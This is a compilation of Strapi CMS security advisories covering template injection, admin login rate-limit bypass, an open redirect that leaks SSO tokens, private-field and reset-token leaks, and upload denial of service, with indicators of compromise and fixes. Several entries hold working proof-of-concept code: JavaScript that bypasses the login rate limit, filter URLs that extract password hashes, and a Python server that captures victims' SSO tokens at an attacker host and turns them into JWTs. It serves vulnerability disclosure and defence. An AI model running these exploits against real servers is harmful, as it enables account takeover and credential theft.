Summary
Strapi through 4.5.5 allows authenticated Server-Side Template Injection (SSTI) that can be exploited to execute arbitrary code on the server.
Details
Strapi through 4.5.5 allows authenticated Server-Side Template Injection (SSTI) that can be exploited to execute arbitrary code on the server. A remote attacker with access to the Strapi admin panel can inject a crafted payload that executes code on the server into an email template that bypasses the validation checks that should prevent code execution.
IoC
Using just the request log files, the only IoC to search for is a PUT request to URL path /users-permissions/email-templates. This IoC only indicates that a Strapi email template was modified on your server and by itself does not indicate if your Strapi server has been compromised. If this IoC is detected, you will need to manually review your email templates on your Strapi server and backups of your database to see if any of the templates contain a lodash template delimiter (eg. <%STUFF HERE%>) that contains suspicious JavaScript code. Generally speaking these templates should look like the following, you may have minor adjustments but any unrecognized code should be considered suspicious.
Reset Password Template:
html <p>We heard that you lost your password. Sorry about that!</p>
<p>But don’t worry! You can use the following link to reset your password:</p> <p><%= URL %>?code=<%= TOKEN %></p>
<p>Thanks.</p>
Email Confirmation Template:
html <p>Thank you for registering!</p>
<p>You have to confirm your email address. Please click on the link below.</p>
<p><%= URL %>?confirmation=<%= CODE %></p>
<p>Thanks.</p>
Specifically you should look for odd code contained within the <%STUFF HERE%> blocks as this is what is used to bypass the lodash templating system. If you find any code that is not a variable name, or a variable name that is not defined in the template you are most likely impacted and should take immediate steps to confirm there are no malicious applications running on your servers.
Impact
All users on Strapi below 4.5.6 with access to the admin panel and the ability to modify the email templates
1. Summary There is a rate limit on the login function of Strapi's admin screen, but it is possible to circumvent it.
2. Details It is possible to avoid this by modifying the rate-limited request path as follows. 1. Manipulating request paths to upper or lower case. (Pattern 1) - In this case, avoidance is possible with various patterns. 2. Add path slashes to the end of the request path. (Pattern 2)
3. PoC Access the administrator's login screen (/admin/auth/login) and execute the following PoC on the browser's console screen.
Pattern 1 (uppercase and lowercase) js // poc.js (async () => { const data1 = { email: "admin@strapi.com", // registered e-mail address password: "invalidpassword", }; const data2 = { email: "admin@strapi.com", password: "RyG5z-CE2-]4e4", // correct password };
for (let i = 0; i < 30; i++) { await fetch("http://localhost:1337/admin/login", { method: "POST", body: JSON.stringify(data1), headers: { "Content-Type": "application/json", }, }); }
const res1 = await fetch("http://localhost:1337/admin/login", { method: "POST", body: JSON.stringify(data2), headers: { "Content-Type": "application/json", }, }); console.log(res1.status + " " + res1.statusText);
const res2 = await fetch("http://localhost:1337/admin/Login", { // capitalize part of path method: "POST", body: JSON.stringify(data2), headers: { "Content-Type": "application/json", }, }); console.log(res2.status + " " + res2.statusText); })();
This PoC does the following: 1. Request 30 incorrect logins. 4. Execute the same request again and confirm that it is blocked by rate limit from the console screen. (429 Too Many Requests) 5. Next, falsify the pathname of the request (/admin/Login) and make a request again to confirm that it is possible to bypass the rate limit and log in. (200 OK)
Pattern 2 (trailing slash) js // poc.js (async () => { const data1 = { email: "admin@strapi.com", // registered e-mail address password: "invalidpassword", }; const data2 = { email: "admin@strapi.com", password: "RyG5z-CE2-]4e4", // correct password };
for (let i = 0; i < 30; i++) { await fetch("http://localhost:1337/admin/login", { method: "POST", body: JSON.stringify(data1), headers: { "Content-Type": "application/json", }, }); }
const res1 = await fetch("http://localhost:1337/admin/login", { method: "POST", body: JSON.stringify(data2), headers: { "Content-Type": "application/json", }, }); console.log(res1.status + " " + res1.statusText);
const res2 = await fetch("http://localhost:1337/admin/login/", { // trailing slash method: "POST", body: JSON.stringify(data2), headers: { "Content-Type": "application/json", }, }); console.log(res2.status + " " + res2.statusText); })();
This PoC does the following: 1. Request 30 incorrect logins. 2. Execute the same request again and confirm that it is blocked by rate limit from the console screen. (429 Too Many Requests) 3. Next, falsify the pathname of the request (/admin/login/) and make a request again to confirm that it is possible to bypass the rate limit and log in. (200 OK)
PoC Video - PoC Video
4. Impact It is possible to bypass the rate limit of the login function of the admin screen. Therefore, the possibility of unauthorized login by login brute force attack increases.
5. Measures Forcibly convert the request path used for rate limiting to upper case or lower case and judge it as the same path. (ctx.request.path) Also, remove any extra slashes in the request path.
https://github.com/strapi/strapi/blob/32d68f1f5677ed9a9a505b718c182c0a3f885426/packages/core/admin/server/middlewares/rateLimit.js#L31
6. References - OWASP: API2:2023 Broken Authentication - OWASP: Authentication Cheat Sheet - OWASP: Denial of Service Cheat Sheet (Rate limiting)
admin/src/containers/InputModalStepperProvider/index.js in Strapi before 3.2.5 has unwanted /proxy?url= functionality.
strapi before 3.0.0-beta.17.5 mishandles password resets within packages/strapi-admin/controllers/Auth.js and packages/strapi-plugin-users-permissions/controllers/Auth.js.
An arbitrary file upload vulnerability in the file upload module of Strapi v4.1.5 allows attackers to execute arbitrary code via a crafted file.
Summary
Strapi through 4.7.1 allows unauthenticated attackers to discover sensitive user details for Strapi administrators and API users.
Details
Strapi through 4.7.1 allows unauthenticated attackers to discover sensitive user details for Strapi administrators and API users. The unauthenticated attacker can filter users by columns that contain sensitive information and infer the values by the changes in the API responses. An unauthenticated attacker can exploit this vulnerability to hijack Strapi administrator accounts and gain unauthorized Strapi Super Administrator access by leaking the password reset token and changing the admin password. This can be exploited on all Strapi versions <=4.7.1.
IoC
The exploitation of CVE-2023-22894 is easily detectable, since the payload is within the GET parameters and are normally included in request logs. The following regex pattern will extract requests that are exploiting this vulnerability to leak user's email, password and password reset token columns.
/(\[|%5B)\s(email|password|resetpasswordtoken|resetPasswordToken)\s(\]|%5D)/
You can search log files for this IoC by using the following grep command.
grep -iE '(\[|%5B)\s(email|password|resetpasswordtoken|resetPasswordToken)\s(\]|%5D)' $PATHTOLOGFILE
If the above regex pattern matches any lines in your log files, take extra precaution to look out for multiple requests that include password, resetpasswordtoken or resetPasswordToken. This would indicate that an attacker has leaked the password hashes and reset tokens on your Strapi server and you need to immediately start an incident response!
Impact
All Strapi users below 4.8.0
The Strapi framework before 3.0.0-beta.17.8 is vulnerable to Remote Code Execution in the Install and Uninstall Plugin components of the Admin panel, because it does not sanitize the plugin name, and attackers can inject arbitrary shell commands to be executed by the execa function.
An authenticated user with access to the Strapi admin panel can view private and sensitive data, such as email and password reset tokens, for other admin panel users that have a relationship (e.g., created by, updated by) with content accessible to the authenticated user. For example, a low-privileged “author” role account can view these details in the JSON response for an “editor” or “super admin” that has updated one of the author’s blog posts. There are also many other scenarios where such details from other users can leak in the JSON response, either through a direct or indirect relationship. Access to this information enables a user to compromise other users’ accounts by successfully invoking the password reset workflow. In a worst-case scenario, a low-privileged user could get access to a “super admin” account with full control over the Strapi instance, and could read and modify any data as well as block access to both the admin panel and API by revoking privileges for all other users.
Strapi before 3.6.10 and 4.x before 4.1.10 mishandles hidden attributes within admin API responses.
Summary Still able to leak private fields if using the t(number) prefix
Details Knex query allows you to change there default prefix SqliteError: select distinct t0. from pages as t0 left join adminusers as t1 on t0.updatedbyid = t1.id where (t1.password = 1) so if you change the prefix to the same as it was before or to an other table you want to query you query changes from password to t1.password password is protected by filtering protections but t1.password is not protected PoC 1 Create a contentType 2 add to its options "populateCreatorFields" 3 create 1 entity in your new content type 4 in settings enable the find route in settings for the content type you created for public 5 /api/(Your contenttype)?filters%5BupdatedBy%5D%5Bt1.password%5D%5B%24startsWith%5D=a%24 And now the api returns noting if you were to do /api/(Your contenttype)?filters%5BupdatedBy%5D%5Bt1.password%5D%5B%24startsWith%5D=%24 it would return your entity
Impact You can do filtering attacks on everything related to the object again including admin passwords and reset-tokens.
Strapi 3.2.1 until 4.6.0 does not verify the access or ID tokens issued during the OAuth flow when the AWS Cognito login provider is used for authentication. A remote attacker could forge an ID token that is signed using the 'None' type algorithm to bypass authentication and impersonate any user that use AWS Cognito for authentication.
Summary
By combining two vulnerabilities (an Open Redirect and session token sent as URL query parameter) in Strapi framework is its possible of an unauthenticated attacker to bypass authentication mechanisms and retrieve the 3rd party tokens. The attack requires user interaction (one click).
Impact
Unauthenticated attackers can leverage two vulnerabilities to obtain an 3rd party token and the bypass authentication of Strapi apps.
Technical details
Vulnerability 1: Open Redirect
Description
Open redirection vulnerabilities arise when an application incorporates user-controllable data into the target of a redirection in an unsafe way. An attacker can construct a URL within the application that causes a redirection to an arbitrary external domain.
In the specific context of Strapi, this vulnerability allows the SSO token to be stolen, allowing an attacker to authenticate himself within the application.
Remediation
If possible, applications should avoid incorporating user-controllable data into redirection targets. In many cases, this behavior can be avoided in two ways:
- Remove the redirection function from the application, and replace links to it with direct links to the relevant target URLs. - Maintain a server-side list of all URLs that are permitted for redirection. Instead of passing the target URL as a parameter to the redirector, pass an index into this list.
If it is considered unavoidable for the redirection function to receive user-controllable input and incorporate this into the redirection target, one of the following measures should be used to minimize the risk of redirection attacks:
- The application should use relative URLs in all of its redirects, and the redirection function should strictly validate that the URL received is a relative URL. - The application should use URLs relative to the web root for all of its redirects, and the redirection function should validate that the URL received starts with a slash character. It should then prepend <span dir="">http://yourdomainname.com</span> to the URL before issuing the redirect.
Example 1: Open Redirect in <span dir="">/api/connect/microsoft</span> via $GET["callback"]
- Path: <span dir="">/api/connect/microsoft</span> - Parameter: $GET["callback"]
Payload:
plaintext https://google.fr/
Final payload:
plaintext https://<TARGET>/api/connect/microsoft?callback=https://google.fr/
User clicks on the link: !c1
Look at the intercepted request in Burp and see the redirect to Microsoft:
!c0
Microsoft check the cookies and redirects to the original domain (and route) but with different GET parameters.
Then, the page redirects to the domain controlled by the attacker (and a token is added to controlled the URL):
!c2
The domain originally specified (https://google.fr) as $GET["callback"] parameter is present in the cookies. So <span dir="">\<TARGET\></span> is using the cookies (koa.sess) to redirect.
!c3
koa.sess cookie:
base64 eyJncmFudCI6eyJwcm92aWRlciI6Im1pY3Jvc29mdCIsImR5bmFtaWMiOnsiY2FsbGJhY2siOiJodHRwczovL2dvb2dsZS5mci8ifX0sIl9leHBpcmUiOjE3MDAyMzQyNDQyNjMsIl9tYXhBZ2UiOjg2NDAwMDAwfQ==
json {"grant":{"provider":"microsoft","dynamic":{"callback":"https://google.fr/"}},"expire":1700234244263,"maxAge":86400000}
The vulnerability seems to come from the application's core:
File: <span dir="">packages/plugins/users-permissions/server/controllers/auth.js</span>
js 'use strict';
/ Auth.js controller @description: A set of functions called "actions" for managing Auth. /
/ eslint-disable no-useless-escape / const crypto = require('crypto'); const = require('lodash'); const { concat, compact, isArray } = require('lodash/fp'); const utils = require('@strapi/utils'); const { contentTypes: { getNonWritableAttributes }, } = require('@strapi/utils'); const { getService } = require('../utils'); const { validateCallbackBody, validateRegisterBody, validateSendEmailConfirmationBody, validateForgotPasswordBody, validateResetPasswordBody, validateEmailConfirmationBody, validateChangePasswordBody, } = require('./validation/auth');
const { getAbsoluteAdminUrl, getAbsoluteServerUrl, sanitize } = utils; const { ApplicationError, ValidationError, ForbiddenError } = utils.errors;
const sanitizeUser = (user, ctx) => { const { auth } = ctx.state; const userSchema = strapi.getModel('plugin::users-permissions.user');
return sanitize.contentAPI.output(user, userSchema, { auth }); };
module.exports = { async callback(ctx) { const provider = ctx.params.provider || 'local'; const params = ctx.request.body;
const store = strapi.store({ type: 'plugin', name: 'users-permissions' }); const grantSettings = await store.get({ key: 'grant' });
const grantProvider = provider === 'local' ? 'email' : provider;
if (!.get(grantSettings, [grantProvider, 'enabled'])) { throw new ApplicationError('This provider is disabled'); }
if (provider === 'local') { await validateCallbackBody(params);
const { identifier } = params;
// Check if the user exists. const user = await strapi.query('plugin::users-permissions.user').findOne({ where: { provider, $or: [{ email: identifier.toLowerCase() }, { username: identifier }], }, });
if (!user) { throw new ValidationError('Invalid identifier or password'); }
if (!user.password) { throw new ValidationError('Invalid identifier or password'); }
const validPassword = await getService('user').validatePassword( params.password, user.password );
if (!validPassword) { throw new ValidationError('Invalid identifier or password'); }
const advancedSettings = await store.get({ key: 'advanced' }); const requiresConfirmation = .get(advancedSettings, 'emailconfirmation');
if (requiresConfirmation && user.confirmed !== true) { throw new ApplicationError('Your account email is not confirmed'); }
if (user.blocked === true) { throw new ApplicationError('Your account has been blocked by an administrator'); }
return ctx.send({ jwt: getService('jwt').issue({ id: user.id }), user: await sanitizeUser(user, ctx), }); }
// Connect the user with the third-party provider. try { const user = await getService('providers').connect(provider, ctx.query);
if (user.blocked) { throw new ForbiddenError('Your account has been blocked by an administrator'); }
return ctx.send({ jwt: getService('jwt').issue({ id: user.id }), user: await sanitizeUser(user, ctx), }); } catch (error) { throw new ApplicationError(error.message); } },
//...
async connect(ctx, next) { const grant = require('grant-koa');
const providers = await strapi .store({ type: 'plugin', name: 'users-permissions', key: 'grant' }) .get();
const apiPrefix = strapi.config.get('api.rest.prefix'); const grantConfig = { defaults: { prefix: ${apiPrefix}/connect, }, ...providers, };
const [requestPath] = ctx.request.url.split('?'); const provider = requestPath.split('/connect/')[1].split('/')[0];
if (!.get(grantConfig[provider], 'enabled')) { throw new ApplicationError('This provider is disabled'); }
if (!strapi.config.server.url.startsWith('http')) { strapi.log.warn( 'You are using a third party provider for login. Make sure to set an absolute url in config/server.js. More info here: https://docs.strapi.io/developer-docs/latest/plugins/users-permissions.html#setting-up-the-server-url' ); }
// Ability to pass OAuth callback dynamically grantConfig[provider].callback = .get(ctx, 'query.callback') || .get(ctx, 'session.grant.dynamic.callback') || grantConfig[provider].callback; grantConfig[provider].redirecturi = getService('providers').buildRedirectUri(provider);
return grant(grantConfig)(ctx, next); },
//...
};
And more specifically:
js ...
// Ability to pass OAuth callback dynamically grantConfig[provider].callback = .get(ctx, 'query.callback') || .get(ctx, 'session.grant.dynamic.callback') || grantConfig[provider].callback; grantConfig[provider].redirecturi = getService('providers').buildRedirectUri(provider);
return grant(grantConfig)(ctx, next); ...
Possible patch:
js grantConfig[provider].callback = process.env[${provider.toUpperCase()}REDIRECTURL] || grantConfig[provider].callback
.get(ctx, 'query.callback') = $GET["callback"] and .get(ctx, 'session') = $COOKIE["koa.sess"] (which is {"grant":{"provider":"microsoft","dynamic":{"callback":"https://XXXXXXX/"}},"expire":1701275652123,"maxAge":86400000}) so .get(ctx, 'session.grant.dynamic.callback') = https://XXXXXXX/.
The route is clearly defined here:
File: <span dir="">packages/plugins/users-permissions/server/routes/content-api/auth.js</span>
js 'use strict';
module.exports = [
//...
{ method: 'GET', path: '/auth/:provider/callback', handler: 'auth.callback', config: { prefix: '', }, },
//...
];
File: <span dir="">packages/plugins/users-permissions/server/services/providers-registry.js</span>
js
const getInitialProviders = ({ purest }) => ({
//..
async microsoft({ accessToken }) { const microsoft = purest({ provider: 'microsoft' });
return microsoft .get('me') .auth(accessToken) .request() .then(({ body }) => ({ username: body.userPrincipalName, email: body.userPrincipalName, })); },
//..
});
If parameter $GET["callback"] is defined in the GET request, the assignment does not evaluate all conditions, but stops at the beginning. The value is then stored in the cookie koa.sess:
koa.sess=eyJncmFudCI6eyJwcm92aWRlciI6Im1pY3Jvc29mdCIsImR5bmFtaWMiOnsiY2FsbGJhY2siOiJodHRwczovL2FkbWluLmludGUubmV0YXRtby5jb20vdXNlcnMvYXV0aC9yZWRpcmVjdCJ9fSwiX2V4cGlyZSI6MTcwMTI3NTY1MjEyMywiX21heEFnZSI6ODY0MDAwMDB9
Which once base64 decoded become {"grant":{"provider":"microsoft","dynamic":{"callback":"https://<TARGET>/users/auth/redirect"}},"expire":1701275652123,"maxAge":86400000}.
The signature of the cookie is stored in cookie koa.sess.sig:
koa.sess.sig=wTRmcVRrn88hWMdg84VvSD87-0
File: <span dir="">packages/plugins/users-permissions/server/bootstrap/grant-config.js</span>
js
//..
microsoft: { enabled: false, icon: 'windows', key: '', secret: '', callback: ${baseURL}/microsoft/callback, scope: ['user.read'], },
//..
Vulnerability 2: Session token in URL
Description
Applications should not send session tokens as URL query parameters and use instead an alternative mechanism for transmitting session tokens, such as HTTP cookies or hidden fields in forms that are submitted using the POST method.
Example 1: SSO token transmitted within URL ($GET["accesstoken"])
- Path: <span dir="">/api/connect/microsoft</span> - Parameter: $GET["callback"]
When a callback was called, the 3rd party token was transmitted in an insecure way within the URL, which could be used to increase the impact of the Open Redirect vulnerability described previously by stealing the SSO token.
Weaponized payload:
plaintext https://<TARGET>/api/connect/microsoft?callback=http://<C2>:8080/
With a web server specially developed to exploit the vulnerability listening on <span dir="">\<C2\>:8080</span>, it is possible to retrieve a JWT token allowing authentication on Strapi.
A user is on his browser when he decides to click on a link sent to him by e-mail.
!c4
The attacker places the malicious link in the URL bar to simulate a victim's click.
!c5
The server specially developed by the attacker to show that the vulnerability is exploitable, recovers the user's SSO token.
Everything is invisible to the victim.
!c6
Because the victim didn't change to another Web page.
!c7
The attacker can use the SSO token to authenticate himself within the application and retrieve a valid JWT token enabling him to interact with it.
!c8
Details
Get the JWT token with the accesstoken
First of all, thanks to the SSO token, you authenticate yourself and get a JWT token to be able to interact with the various API routes.
Request (HTTP):
http GET /api/auth/microsoft/callback?accesstoken=eyJ0eXAiOiJKV<REDACTED>yBzA HTTP/1.1 Host: <TARGET>
Response (HTTP):
http HTTP/1.1 200 OK Server: nginx Date: Mon, 27 Nov 2023 17:58:46 GMT Content-Type: application/json; charset=utf-8 Content-Length: 411 Connection: keep-alive Content-Security-Policy: connect-src 'self' https:;img-src 'self' data: blob: https://market-assets.strapi.io;media-src 'self' data: blob:;default-src 'self';base-uri 'self';font-src 'self' https: data:;form-action 'self';frame-ancestors 'self';object-src 'none';script-src 'self';script-src-attr 'none';style-src 'self' https: 'unsafe-inline' Referrer-Policy: no-referrer Strict-Transport-Security: max-age=31536000; includeSubDomains X-Content-Type-Options: nosniff X-DNS-Prefetch-Control: off X-Download-Options: noopen X-Frame-Options: SAMEORIGIN X-Permitted-Cross-Domain-Policies: none Vary: Origin X-XSS-Protection: 1; mode=block Strict-Transport-Security: max-age=31536000; includeSubDomains X-Powered-By: <REDACTED>
{"jwt":"eyJhbG<REDACTED>eCac","user":{"id":111,"username":"<REDACTED>@<REDACTED>-ext.com","email":"<redacted>@<redacted>-ext.com","provider":"microsoft","confirmed":true,"blocked":false,"createdAt":"2023-11-14T12:35:42.440Z","updatedAt":"2023-11-16T21:00:19.241Z","isexternal":false}}
Request API routes using the JWT token
Then reuse the JWT token to request the API.
Request (HTTP):
http GET /api/users/me/groups?app=support HTTP/1.1 Host: <TARGET> Authorization: Bearer eyJ<REDACTED>EeCac
Response (HTTP):
http HTTP/1.1 200 OK Server: nginx Date: Tue, 28 Nov 2023 13:45:42 GMT Content-Type: application/json; charset=utf-8 Content-Length: 24684 Connection: keep-alive Content-Security-Policy: connect-src 'self' https:;img-src 'self' data: blob: https://market-assets.strapi.io;media-src 'self' data: blob:;default-src 'self';base-uri 'self';font-src 'self' https: data:;form-action 'self';frame-ancestors 'self';object-src 'none';script-src 'self';script-src-attr 'none';style-src 'self' https: 'unsafe-inline' Referrer-Policy: no-referrer Strict-Transport-Security: max-age=31536000; includeSubDomains X-Content-Type-Options: nosniff X-DNS-Prefetch-Control: off X-Download-Options: noopen X-Frame-Options: SAMEORIGIN X-Permitted-Cross-Domain-Policies: none Vary: Origin X-RateLimit-Limit: 10 X-RateLimit-Remaining: 9 X-RateLimit-Reset: 1701179203 X-XSS-Protection: 1; mode=block Strict-Transport-Security: max-age=31536000; includeSubDomains X-Powered-By: <REDACTED>
{"apps":{"support":{"groups":[{"devicewhitelist":null,"name":"test - support","id":10,"groupprivileges":[{"id":37,<REDACTED>
...
POC (Web server stealing SSO token and retrieving JWT token then bypassing authentication)
python import base64 import json import urllib.parse
from http.server import BaseHTTPRequestHandler, HTTPServer from sys import argv
Strapi URL. TARGET = "target.com"
URLs to which victims are automatically redirected. REDIRECTURL = [ "strapi.io", "www.google.fr" ] URL used to generate a valid JWT token for authentication within the application. GENJWTURL = f"https://{TARGET}/api/auth/microsoft/callback"
This function is used to generate a curl command which once executed, will give us a valid JWT connection token. def generatecurlcommand(token): command = f"curl '{GENJWTURL}?accesstoken={token}'" return command
We create a custom HTTP server to retrieve users' SSO tokens. class CustomServer(BaseHTTPRequestHandler):
# Here we override the default logging function to reduce verbosity. def logmessage(self, format, args): pass
# This function automatically redirects a user to the page defined in the # global variable linked to the redirection. def setresponse(self): self.sendresponse(302) self.sendheader("Location", REDIRECTURL[0]) self.endheaders()
# If an SSO token is present, we parse it and log the result in STDOUT. def doGET(self): # This condition checks whether a token is present in the URL. if str(self.path).find("accesstoken") != -1: # If this is the case, we recover the token. query = urllib.parse.urlparse(self.path).query querycomponents = dict(qc.split("=") for qc in query.split("&")) accesstoken = urllib.parse.unquote(querycomponents["accesstoken"])
# In the token, which is a string in JWT format, we retrieve the # body part of the token. interestingdata = accesstoken.split(".")[1]
# Patching base64 encoded data. interestingdata = interestingdata + "=" (-len(interestingdata) % 4)
# Parsing JSON. jsondata = json.loads(base64.b64decode(interestingdata.encode())) familyname, givenname, ipaddr, upn = jsondata["givenname"], jsondata["familyname"], jsondata["ipaddr"], jsondata["upn"]
print(f"[+] Token captured for {familyname} {givenname}, {upn} ({ipaddr}):\n{accesstoken}\n") print(f"[] Run: \"{generatecurlcommand(querycomponents['accesstoken'])}\" to get JWT token")
self.setresponse() self.wfile.write("Redirecting ...".encode("utf-8"))
def run(serverclass=HTTPServer, handlerclass=CustomServer, ip="0.0.0.0", port=8080): serveraddress = (ip, port) httpd = serverclass(serveraddress, handlerclass)
print(f"Starting httpd ({ip}:{port}) ...") try: httpd.serveforever() except KeyboardInterrupt: pass
httpd.serverclose() print("Stopping httpd ...")
if name == "main": if len(argv) == 3: run(ip=argv[1], port=int(argv[2])) else: run()
In Strapi through 3.6.0, the admin panel allows the changing of one's own password without entering the current password. An attacker who gains access to a valid session can use this to take over an account by changing the password.
System Details | Name | Value | |----------|------------------------| | OS | Windows 11 | | Version | 4.11.1 (node v16.14.2) | | Database | mysql |
Description I marked some fields as private fields in user content-type, and tried to register as a new user via api, at the same time I added content to fill the private fields and sent a post request, and as you can see from the images below, I can write to the private fields.
!register
!user
!privatefield
!table
To prevent this, I went to the extension area and tried to extend the register method, for this I wanted to do it using the sanitizeInput function that I know in the source codes of the strap. But the sanitizeInput function did not filter out private fields.
js const { auth } = ctx.state; const data = ctx.request.body; const userSchema = strapi.getModel("plugin::users-permissions.user");
sanitize.contentAPI.input(data, userSchema, { auth });
here's the solution I've temporarily kept to myself, code snippet
js const body = ctx.request.body;
const { attributes } = strapi.getModel("plugin::users-permissions.user");
const sanitizedData = .omitBy(body, (data, key) => { const attribute = attributes[key];
if (.isNil(attribute)) { return false; }
//? If you want, you can throw an error for fields that we did not expect.
// if (.isNil(attribute)) // throw new ApplicationError(Unexpected value ${key});
// if private value is true, we do not want to send it to the database. return attribute.private; });
return sanitizedData;
In Strapi before 3.2.5, there is no admin::hasPermissions restriction for CTB (aka content-type-builder) routes.
Storing passwords in a recoverable format in the DOCUMENTATION plugin component of Strapi before 3.6.9 and 4.x before 4.1.5 allows an attacker to access a victim's HTTP request, get the victim's cookie, perform a base64 decode on the victim's cookie, and obtain a cleartext password, leading to getting API documentation for further API attacks.
An authenticated user with access to the Strapi admin panel can view private and sensitive data, such as email and password reset tokens, for API users if content types accessible to the authenticated user contain relationships to API users (from:users-permissions). There are many scenarios in which such details from API users can leak in the JSON response within the admin panel, either through a direct or indirect relationship. Access to this information enables a user to compromise these users’ accounts if the password reset API endpoints have been enabled. In a worst-case scenario, a low-privileged user could get access to a high-privileged API account, and could read and modify any data as well as block access to both the admin panel and API by revoking privileges for all other users.
Arbitrary Command Injection in GitHub repository strapi/strapi prior to 4.1.0.
Summary Anyone (Strapi developers, users, plugins) can make every attribute of a Content-Type public without knowing it.
Details When dealing with content-types inside a Strapi instance, we can extend those using the appropriate container: javascript strapi.container.get('content-types').extend(contentTypeUID, (contentType) => newContentType); The vulnerability only affects the handling of content types by Strapi, not the actual content types themselves. Users can use plugins or modify their own content types without realizing that the privateAttributes getter is being removed, which can result in any attribute becoming public. This can lead to sensitive information being exposed or the entire system being taken control of by an attacker(having access to password hashes).
PoC Extend any content type on runtime (like in the bootstrap functions) and do a copy of the content-type object. javascript strapi.container.get('content-types').extend(contentTypeUID, (contentType) => { const newCT = { ... contentType, attributes: { ...contentType.attributes, newAttr: {} } }; return newCT; }); This will have as effect to remove the getter and as we rely on it in sanitization, every attributes will be considered as public.
Impact Everyone can be impacted. Depending on how people are using/extending content-types. If the users are mutating the content-type, they will not be affected.
Summary Field level permissions not being respected in relationship title. If I have a relationship title and the relationship shows a field I don't have permission to see I will still be visible.
Details No RBAC checks on on the relationship the relation endpoint returns
PoC Setup Create a fresh strapi instance Create a new content type in the newly created content type add a relation to the users-permissions user. Save. Create a users-permissions user Use your created content type and create an entry in it related to the users-permisisons user
Go to settings -> Admin panel -> Roles -> Author Give the author role full permissions on the content type your created. Make sure they don't have any permission to see User Save
Create a new admin account with only the author role CVE login on the newly created author acount. go to the content manager to the colection type you created with the relationship to userspermissionsuser You now see a field you don't have permissions to view.
Impact RBAC field level checks leaks data selected by the admin user as relationship title What could be sensitive fields that they should not be allowed to see. by the person having this specific role.
Summary A Denial-of-Service was found in the media upload process causing the server to crash without restarting, affecting either development and production environments.
Details Usually, errors in the application cause it to log the error and keep it running for other clients. This behavior, in contrast, stops the server execution, making it unavailable for any clients until it's manually restarted.
PoC Due to a bug in what we believe to be Burp’s decoding system, we couldn’t produce a valid file to easily reproduce the vulnerability. Instead, the issue can be reproduced by following these steps: 1. Configure Burp’s proxy between a browser and a Strapi server 2. Log in and upload an image through the Media Library page while having Burp’s interceptor turned on 3. After capturing the upload POST request in Burp, add %00 at the end of the file extension from the Content-Disposition, in the filename parameter (See reference image 1 below) 4. Using the cursor, select the added %00 and right-click it. Click in Convert selection > URL > URL decode to transform the selected text into a null byte 5. Forward the modified request. The server should print an error and crash with the error ERRINVALIDARGVALUE (See reference log 1 below)
By following the data flow, we reached the line of code where we believe the DoS is being caused. The simpler way of fixing this vulnerability seems to be avoiding the error thrown by whitelisting the characters used in the extension.
Reference Image 1 !image
Reference Log 1 [2024-03-22 10:23:42.629] http: POST /upload (22 ms) 400 node:internal/fs/utils:379 const err = new ERRINVALIDARGVALUE( ^
TypeError [ERRINVALIDARGVALUE]: The argument 'path' must be a string, Uint8Array, or URL without null bytes. Received '/mnt/storage/Development/GHSA-pm9q-xj9p-96pm/public/uploads/replacemepng88efe6a165.png\x00' at new WriteStream (node:internal/fs/streams:340:5) at Object.createWriteStream (node:fs:3123:10) at /mnt/storage/Development/GHSA-pm9q-xj9p-96pm/nodemodules/@strapi/provider-upload-local/dist/index.js:71:33 at new Promise (<anonymous>) at Object.uploadStream (/mnt/storage/Development/GHSA-pm9q-xj9p-96pm/nodemodules/@strapi/provider-upload-local/dist/index.js:68:16) at Object.uploadStream (/mnt/storage/Development/GHSA-pm9q-xj9p-96pm/nodemodules/@strapi/plugin-upload/server/register.js:80:35) at Object.upload (/mnt/storage/Development/GHSA-pm9q-xj9p-96pm/nodemodules/@strapi/plugin-upload/server/services/provider.js:16:46) at Object.uploadImage (/mnt/storage/Development/GHSA-pm9q-xj9p-96pm/nodemodules/@strapi/plugin-upload/server/services/upload.js:220:48) { code: 'ERRINVALIDARGVALUE' }
Impact Denial-of-Service occurs when a service becomes unavailable for users or other services. By sending a specially-crafted request, the server crashes without restarting. The entire server crashes with the thrown error instead of crashing only the single request and returning error 500 to the user. Any user with access to the file upload functionality is able to exploit this vulnerability, affecting applications running in both development mode and production mode as well.
Strapi before 3.0.2 could allow a remote authenticated attacker to bypass security restrictions because templates are stored in a global variable without any sanitation. By sending a specially crafted request, an attacker could exploit this vulnerability to update the email template for both password reset and account confirmation emails.
Summary I can get access to user reset password tokens if I have the configure view permissions !b37a6fd9eae06027e7d91266f1908a3d !6c1da5b3bfbb3bca97c8d064be0ecb05
Details /content-manager/relations route does not remove private fields or ensure that they can't be selected
PoC Install fresh strapi instance start up strapi and create an account create a new content-type give the content-type a relation with admin users and save go to Admin panel roles Author and then plugins. Enable for content-manager collection types the configure view In the collection time now only give them access to the collection you created for this. Create a new admin user account with the Author role Log out and request a password reset for the main admin user. Login on the newly created account go to the collection type you created for this test and click the create new entry button, click in the create new entry view on configure view. select the admin user relation we created click on resetPasswordToken Now go back to the create an entry view and when selection the relation we created we now see the reset tokken
Impact Impact is that the none admin user now has the reset token of the admin users account and can resets its password using that to escalate his privilege's
Still you need the configure view permission to be able to escalate your privilege's
Strapi before 3.2.5 has stored XSS in the wysiwyg editor's preview feature.
Impact Users are able to bypass the field level security. This means fields that they where not allowed to populate could be populated anyway even in the event that they tried to populate something that they don't have access to.
Patches This issue has been patched in 1.3.4
Workarounds None
Strapi v3.x.x versions and earlier contain a stored cross-site scripting vulnerability in file upload function. By exploiting this vulnerability, an arbitrary script may be executed on the web browser of the user who is logging in to the product with the administrative privilege.
Summary 1. If a super admin creates a collection where an item in the collection has an association to another collection, a user with the Author Role can see the list of associated items they did not create. They should only see their own items that they created, not all items ever created.
Details At the top level every collection shows blank items for an Author if they did not create the item. This is ideal and works great. However if you associate one private collection to another private collection and an Author creates a new item. The pull down should not show the admins list of previously created items. It should be blank unitl they add their own items.
PoC 1. Sign in as Admin. Navigate to content creation. 2. Select a collection and verify you have items you created there. And that they have associations to other protected collections. 3. Verify role permissions for your collections are set to CRUD if user created. 4. Log out and sign in as a unrelated Author. 5. Navigate to content management and verify you see collections built by admin but empty for you (as expected) 6. Create a new item as an Author and see the card appear with attributes to fill out. 7. Use the form pull down for the associations. 8. Notice that protected collection items from Admin appear in drop down. These should be hidden
Impact Security vulnerability where authors have access to protected data created by admin. This could be passwords emails or any other item created for the admin's collection.
See images below for more context
Permissions set !image
Good at top level no items seen !image
Drop down in Author login can see Admin data !image